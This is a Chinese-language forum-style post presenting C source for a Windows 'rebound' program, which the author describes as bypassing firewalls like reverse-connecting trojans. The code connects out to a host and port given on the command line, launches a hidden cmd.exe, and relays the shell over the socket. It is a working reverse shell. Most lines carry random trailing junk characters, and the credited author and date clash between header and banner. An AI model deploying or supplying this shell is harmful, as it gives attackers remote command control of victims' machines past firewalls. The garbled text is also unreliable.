这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !GlnQ`T
t$U3|r
/* ============================== ksB
Rebound port in Windows NT q+YuVQ-fx
By wind,2006/7 SQq6X63 \
===============================*/ 1^Kj8*O8e
#include Yw6DJY
#include 6B7<
1vB-M6(
#pragma comment(lib,"wsock32.lib") eq^TA1>T
vS7/ ~:C
void OutputShell(); C>*5=p|T
SOCKET sClient; 6-mmi7IfO
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DRH'A!r!
=?=)s
void main(int argc,char **argv) ^y:FjQC:
{ T?W[Z_D
WSADATA stWsaData; nqZA|-}
int nRet; M
(+.$uz
SOCKADDR_IN stSaiClient,stSaiServer; `d75@0:
cqeR<len
if(argc != 3) mgy"|\]
{ 54<6Dy f
printf("Useage:\n\rRebound DestIP DestPort\n"); 3LKB;
return; CD^CUbGk
} c]6V"Bo}A
%4j&H!y-w;
WSAStartup(MAKEWORD(2,2),&stWsaData); ;knd7SC
|J:$MX~
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RS'} nY}
HR;/Br
stSaiClient.sin_family = AF_INET; uA~YRKer
stSaiClient.sin_port = htons(0); y)6,0K {k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NA+&jV
XR|"dbZW.0
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3rxo,pX94
{ CXTt(-FT
printf("Bind Socket Failed!\n"); kGpV;F==*
return; Ee&hG[sx
} }<SNO)h3
vKU`C?,L
stSaiServer.sin_family = AF_INET; :bwM]k*$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =g@R%NDNV
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zu52 p4
CE{z-_{^
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D,k(~
{ WElrk:b
printf("Connect Error!"); jRofG'
return; R4V \B
} HzE1r+3Q@
OutputShell(); WNhbXyp_
} H6_xwuw:
^Z2kq2}a
void OutputShell() , 7Xqte
{ *9J1$Wa
char szBuff[1024]; hL0]R,t;'
SECURITY_ATTRIBUTES stSecurityAttributes; (zY * 0lN
OSVERSIONINFO stOsversionInfo; ,~- ?l7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v51EXf
STARTUPINFO stStartupInfo; U|8[#@r
char *szShell; So#dJ>
PROCESS_INFORMATION stProcessInformation; iSlFRv?a
unsigned long lBytesRead; ^OF5F8Tf/
|=\91fP68`
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R aefj(^V
1 o|T
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X:_<Y_JT
stSecurityAttributes.lpSecurityDescriptor = 0; N<(HPE};
stSecurityAttributes.bInheritHandle = TRUE;
/KAlK5<
?yp0$r/
_ENuwBYW-
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Yj3 P 7k$c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Te;gVG *
]c}=5m/
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ymtd>P"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :7\9xH
stStartupInfo.wShowWindow = SW_HIDE; h4Ia>^@
stStartupInfo.hStdInput = hReadPipe; B20_ig:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2/@D7>F&g
;-Ss# &
GetVersionEx(&stOsversionInfo); 8a9RML}G<
=<{ RX8
switch(stOsversionInfo.dwPlatformId) {rC~P
{ S8%n .<OB
case 1: kg3ppt
szShell = "command.com"; h~w4, T
break; W
(`c
default: azo0{`S?
szShell = "cmd.exe"; ^Gq5ig1rxy
break; 8%[HYgd5)
} Q2eXK[?*
kJk xx*:u
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cn%2OP:L^
6Nt$ZYS
send(sClient,szMsg,77,0); (;}tf~~r
while(1) #.<V^
{ 6^;^rUlm
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zn&k[?;Al
if(lBytesRead) aX^+ O,
{ s*Ih_Ag=:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PKA }zZ
send(sClient,szBuff,lBytesRead,0); nLy#|C
} "!H@k%eAM|
else se!mb _!
{ }>&KUl
lBytesRead=recv(sClient,szBuff,1024,0); )47MFNr~>
if(lBytesRead<=0) break; ;LRW
8Wd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M$A#I51
} &aPl`"j
} %jEY3q
<tbZj=*O/o
return; i"HgvBHx
}